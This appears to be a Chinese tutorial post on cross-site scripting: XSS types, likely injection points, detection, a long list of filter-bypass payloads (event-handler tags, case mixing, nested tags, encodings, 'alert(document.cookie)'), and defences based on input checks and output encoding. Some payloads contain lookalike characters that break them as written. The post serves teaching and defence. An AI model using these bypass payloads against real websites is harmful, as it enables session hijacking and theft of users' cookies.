xss漏洞简介

漏洞简介

跨站脚本(Cross-site scripting ,简称 XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不足而产生的,是代码注入的一种,XSS就是攻击者利用网站漏洞把恶意脚本代码(js脚本代码,CSS样式,或者其他意料之外的前端代码)注入到网页中,当其他用户浏览该网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取,会话劫持、钓鱼欺骗等各种攻击。

漏洞可能出现的地方

有提交数据的地方,且输入的数据可以返回到前端。
重灾区:评论区,留言区,个人信息,订单信息等。
针对型:站内信,网站即时通讯,私信,意见反馈等
存在风险:搜索框,当前目录,图片属性,自定义头像链接等。

漏洞危害 

  • 盗取身份信息,窃取会话Cookie从而窃取网站用户隐私、包括账户、浏览历史、IP等。
  • 未授权操作,通过JS发起敏感操作请求。
  • 按键记录和钓鱼。
  • 更广泛的蠕虫传播,借助网站进行传播,使网站的使用用户受到攻击。
  • 劫持用户会话,从而知悉任意操作,比如弹窗跳转、篡改页面、网页挂马。
  • 总结:简而言之,就是所有js能做到的事,它都能做到。

XSS类型

反射型XSS

反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的,输入的内容不会存到数据库中(输 入内容会直接返回的参数都可能存在反射型XSS),攻击者诱导受害者点击包含恶意JavaSctipt代码的 URL,当受害者点击这些精心设计的链接后,恶意代码会直接在受害者主机上的浏览器执行;恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本反射回受害者的浏览器而使受害者的浏览器执行相应的脚本。

反射型XSS的攻击流程图下图

存储型XSS 

存储型 XSS 是指应用程序将存在 XSS payload 的数据未进行过滤检查便存入到数据库中,当下一次从数据库中获取该数据时程序也未对其进行合法性校验,直接将其展示在前端,页面将会执行XSS
payload攻击用户。
存储型 XSS 的攻击流程图下图

DOM型XSS 

DOM XSS 不与后端服务器交互数据, payload 不会存到数据库中,也属于反射型的一种,通过 dom 操作前端输出的时候产生问题。
DOM型XSS的攻击流程图下图

检测方法 

  • 寻找可控参数,URL中,提交的表单中,cookie等
  • 在可控参数中添加JS代码,发起请求。
  • 请求后在响应包中查看恶意代码是否被原样返回到前端页面(一般使用JS弹窗)
  • 若存在过滤,使用测试过滤字符:";--"=&{()},笔和得到完整的js代码。

绕过手段

 前端绕过

抓包重放,或者修改前端代码

替换关键函数,标签

有时候后端的过滤,编码只针对关键函数,如script,alert,因此可以采用一下方法绕过

1 、替换弹窗函数
< script > confirm ( 1 ) < /script>
弹窗函数:
alert 弹窗 : 普通弹窗提示
confirm ( "" ) 弹窗 :判断是否操作
prompt ( "" ) 弹窗:可以输入内容
window . open 自定义弹窗
2 、使用 js 指令
< img src = 1 onerror = alert ( 'xss' ) >
< img src = 1 onerror = "javascript:alert('xss');" >
< img src = 1 onerror = javascript : alert ( 'xss' ) >
3 、特殊标签
\ < a onmouseover = "alert(document.cookie)" \ > 正常标签,不要点我 \ < /a\>
\< a onmouseover = alert ( document . cookie )\ > 异常标签,不要点我 \ < /a\>
< IMG """><SCRIPT>alert('xss')</script>
4 、其他非黑名单标签和事件
< img >
payload < img src = 1 οnerrοr = alert ( "xss" ); >
< input >
payload : < input onfocus = "alert('xss');" >
< input οnblur = alert ( "xss" ) autofocus >< input autofocus > # 竞争焦点,触发
onblur 事件
< input onfocus = "alert('xss');" autofocus > # 通过 autofocus 属性执行本身的 focus
事件
< details >
payload : < details ontoggle = "alert('xss');" >
< details open ontoggle = "alert('xss');" > # 使用 open 属性触发 ontoggle 事件
< svg >
payload : < svg οnlοad = alert ( "xss" ); >

大小写绕过

一般后台对输入进行过滤有两种方法,以下两种方法可以用大小写混合的方式进行绕过,而后端是不管大小写的,可以正常执行我们的语句, 大小写方式如下
< ScRipt > Alert ( 1 ) < /SCRipt>
< IMG srC = '' onerror = alert ( 1 ) >

混写绕过

拼凑绕过:后端会对我们输入的标签进行替换,但只替换一次,所以可以这样
< scri < script > pt > alert ( "hello world!" ) < /scri</ script > pt >

这样经过后端的替换之后就会变成:

<script>alert("hello world!")</script>  

编码绕过

即对我们的payload进行编码,如URL编码,HTML编码

针对 < script > alert ( 1 ) < /script>
1 URL 编码
% 3 cscript % 3 ealert ( % 271 % 27 ) % 3 c % 2 fscript % 3 e
2 HTML 实体编码(可部分可全部)
< script > alert ( & quot ; 1 & quot ;) < /script>
3 UTF - 16
\ x3Cscript \ x3Ealert ( 1 )\ x3C \ x2Fscript \ x3E
4 、其他
八进制编码、十六进制编码、二进制编码、混合编码、 base64 编码、 Unicode

其他绕过

1、使用JS指令

< img src =' ' οnerrοr= javascript:alert('XSS')>

2、置空属性

< img src=' ' οnerrοr=alert('XSS')>

2、空格、tab绕过

< img src=' '  οnerrοr=javascript:alert('XSS')>

< img sec=' ' οnerrοr=javas        cript:alert('XSS')>

防御措施

输入检查

1 、假定所有输入都是可疑的,必须对所有输入中的 < > ' " on.* script iframe 等字
样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括 HTTP 请求中的 Cookie 中的变量,HTTP 请求头部中的变量等
2 、验证用户输入的数据类型,数据长度,数据内容(最好客户端与服务端均进行验证,服务端验证是必须的)
  • 如果数据类型为整型,则使用 intval 强制转换变量类型
  • 如果用户输入是手机号,那么就需要判断是否是11位数字
  • 如果数据内容为邮箱,则应使用正则取 A-Za-z0-9.@-_ 范围内的值,其它字符则忽略掉

输出编码

对用户的不可信的输入内容均采用编码的方式输出到页面中,常见的编码方式有以下三种:

  • URL编码
  • HTML编码
  • JavaScript编码

常见需要编码的字符

对用户输入的不信任的内容均采用编码的方式输出到页面中,输出编码手段主要有 3 种编码:
URL 编码
HTML 编码
JavaScript 编码
常见需要编码的字符:
需要编码的字符编码后的字符
&&amp;
<&lt;
>&gt;
"&quot;
'&#x27;
/&#x2f;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/603878.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

4.5_shell的执行流控制

##1.for语句## &#xff08;1&#xff09;for语句作用 为循环执行动作 &#xff08;2&#xff09;for语句结构 for 定义变量 do 使用变量&#xff0c;执行动作 done 结束标志 &#xff08;3&#xff09;for语句的基本格式 格式1 格式1&#xff1a;#!/b…

flask框架的初步认识

flask框架的初步认识 这是一个轻量级的网页框架&#xff0c;在运行后&#xff0c;就相当于服务器&#xff0c;当用户输入URL就会触发对应的事件调用方法&#xff0c;返回给用户一个网页文件&#xff0c;并通过自动识别html标签&#xff0c;来为用户呈现对应的样式和效果&#…

日本极致产品力 |累计销量超100亿盒的酸奶品牌怎样炼成的?

明治保加利亚式酸奶是日本的国民酸奶&#xff0c;在日本每人每年要消费4盒。如此热销的大单品是如何塑造的呢? 日本酸奶的关键变革期 明治保加利亚式酸奶在开创之前&#xff0c;正处于产业关键变革时期。自可尔必思1919年在日本推出第一款乳酸菌饮料以来&#xff0c;明治、森…

Ansible-Playbook——部署LNMP架构

目录 环境准备 一、配置Nginx的Roles角色 1.创建Nginx所需的文件夹 2.编写Nginx配置文件 3.编写Nginx安装文件 4.编写Nginx控制器文件 5.编写Nginx任务文件 6.编写Nginx变量文件 二、配置Mysql的Roles角色 1.创建Mysql所需的文件夹 2.编写Mysql启动文件 3.编写Mysql…

高性价比开放式耳机有哪些?五大好评热卖开放式耳机推荐

近年来&#xff0c;开放式耳机凭借其独特的开放式声学设计&#xff0c;给用户带来了动态空间的音质享受。在佩戴等方面也带来了一定的舒适度。然而&#xff0c;面对满目的耳机品牌&#xff0c;新手小白往往会不知道如何挑选。那如何选择一款适合自己的产品呢&#xff1f;我整理…

瑞麦德机电设备有限公司将莅临2024第13届生物发酵展

参展企业介绍 河南瑞麦德机电设备有限公司是专业从事机械输送气力输送、称重配料、筛分、磁选设备研发和制造于一体的企业&#xff0c;公司采用国内外同行业产品的先进技术&#xff0c;经专业团队设计、研发、生产&#xff0c;产品满足“ISO9001”&#xff0c;“GMP”等标准要求…

【爬虫】爬取A股数据写入数据库(二)

前几天有写过一篇 【爬虫】爬取A股数据写入数据库&#xff08;一&#xff09;&#xff0c;现在继续完善下&#xff0c;将已有数据通过ORM形式批量写入数据库。 2024/05&#xff0c;本文主要内容如下&#xff1a; 对东方财富官网进行分析&#xff0c;并作数据爬取&#xff0c;使…

MATLAB添加自编写.m文件或.mat数据并永久全局调用方法

菜单栏选择设置路径&#xff0c;然后“添加并包含子文件夹”&#xff0c;在弹出窗口中找到目标文件夹即可。此方案可以永久地将文件夹加入MATLAB路径。 添加包含自编写.m文件的文件夹&#xff1a; 即可实现永久全局调用。

Spring Web MVC 快速入门

&#x1f3a5; 个人主页&#xff1a;Dikz12&#x1f525;个人专栏&#xff1a;Spring学习之路&#x1f4d5;格言&#xff1a;吾愚多不敏&#xff0c;而愿加学欢迎大家&#x1f44d;点赞✍评论⭐收藏 目录 什么是Spring MVC&#xff1f; MVC模式介绍 ​编辑学习Spring MVC…

Llama 3 模型上下文长度扩展至1048K

AI苏妲己&#xff1a; Gradient AI 近日宣布&#xff0c;通过其创新的渐进式训练方法&#xff0c;成功将 Llama 3 系列模型的上下文长度扩展至超过100万令牌。 Llama 3 模型最初设计用于处理8000个令牌的上下文长度&#xff0c;这大约相当于6000字或10页文档。为了适应更长的…

一站式IT运维管理平台CAT

什么是 CAT &#xff1f; CAT&#xff08;Coffee And Tea&#xff09;是专为 IT 运维从业者打造的一个开源的、开放的一站式 IT 运维管理平台。包含资产管理、工单、工作流、仓储等功能模块&#xff0c;以及可靠的移动端应用&#xff08;Uniapp&#xff09;支持。 CAT 项目是 c…

node.js安装及环境配置超详细教程【Windows系统安装包方式】

Step1&#xff1a;下载安装包 https://nodejs.org/zh-cn/download/ 根据自己电脑系统及位数选择&#xff0c;我的电脑是Windows系统、64位、想下载稳定版的.msi&#xff08;LTS为长期稳定版&#xff09;这里选择windows64位.msi格式安装包。 .msi和.zip格式区别&#xff1a;…

【智能算法】雪消融优化算法(SAO)原理及实现

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献5.代码获取 1.背景 2023年&#xff0c;L Deng受到雪升华和融化行为启发&#xff0c;提出了雪消融优化算法&#xff08;Snow Ablation Optimizer, SAO&#xff09;。 2.算法原理 2.1算法思想 SAO模拟了雪的…

大模型微调之 在亚马逊AWS上实战LlaMA案例(四)

大模型微调之 在亚马逊AWS上实战LlaMA案例&#xff08;四&#xff09; 在 Amazon SageMaker JumpStart 上微调 Llama 2 以生成文本 Meta 能够使用Amazon SageMaker JumpStart微调 Llama 2 模型。 Llama 2 系列大型语言模型 (LLM) 是预先训练和微调的生成文本模型的集合&#x…

stm32 st7735驱动 详解

初始化指令 void LCD_Init(void) { #if USE_SIM_SPILCD_SIM_SPI_GPIO_Init(); #endifLCD_RES_0();//复位HAL_Delay(100);LCD_RES_1();HAL_Delay(100);LCD_BLK_1();//打开背光HAL_Delay(100);//************* Start Initial Sequence **********//LCD_SPI_Send_Cmd(0x11); //Sl…

merge函数占用内存过大

&#x1f3c6;本文收录于「Bug调优」专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收藏&&…

TinyEngine 低代码引擎区块局域网部署方案全新上线!

本文由体验技术团队 TinyEngine 项目组成员创作~ 在 TinyEngine 开源后&#xff0c;对私有化部署存在诉求的用户越来越多&#xff0c;而当前 TinyEngine 多项内容都依托在公网中&#xff0c;当前官网提供的区块发布方案&#xff0c;为公网环境下的发布&#xff0c;不能完全满足…

JavaEE技术之MySql高级-ShardingSphere5(SpringBoot版本:3.0.5)

文章目录 1 ShardingSphere-JDBC读写分离1.1 创建SpringBoot程序1.1.1、创建项目1.1.2、添加依赖1.1.3、创建实体类1.1.4、创建Mapper1.1.5、配置 Spring Boot1.1.6、配置shardingsphere 1.2 测试1.2.1 读写分离测试1.2.2 负载均衡测试1.2.3 事务测试常见错误 2 ShardingSphere…

EMAP的Root工程及其他工具

首先右击项目导航&#xff0c;新建EMAP系统配置 上方辅助工具功能&#xff1a; 1 2 3 4 5 6 7 8 9 10 查看重复数据模型:显示为放大镜标识&#xff0c;可以显示所有应用中相同…

rabbitmq集群搭建失败解决

1. 现象 1. 三台机器都已经修改hosts&#xff0c;各个节点ping节点名正常 2. erlang.cookie各节点值一样 执行下面步骤加入失败 rabbitmqctl stop_app # 停止rabbitmq服务 rabbitmqctl reset # 清空节点状态 rabbitmqctl join_cluster rabbitrabbitmq3 rabbitmqctl start_ap…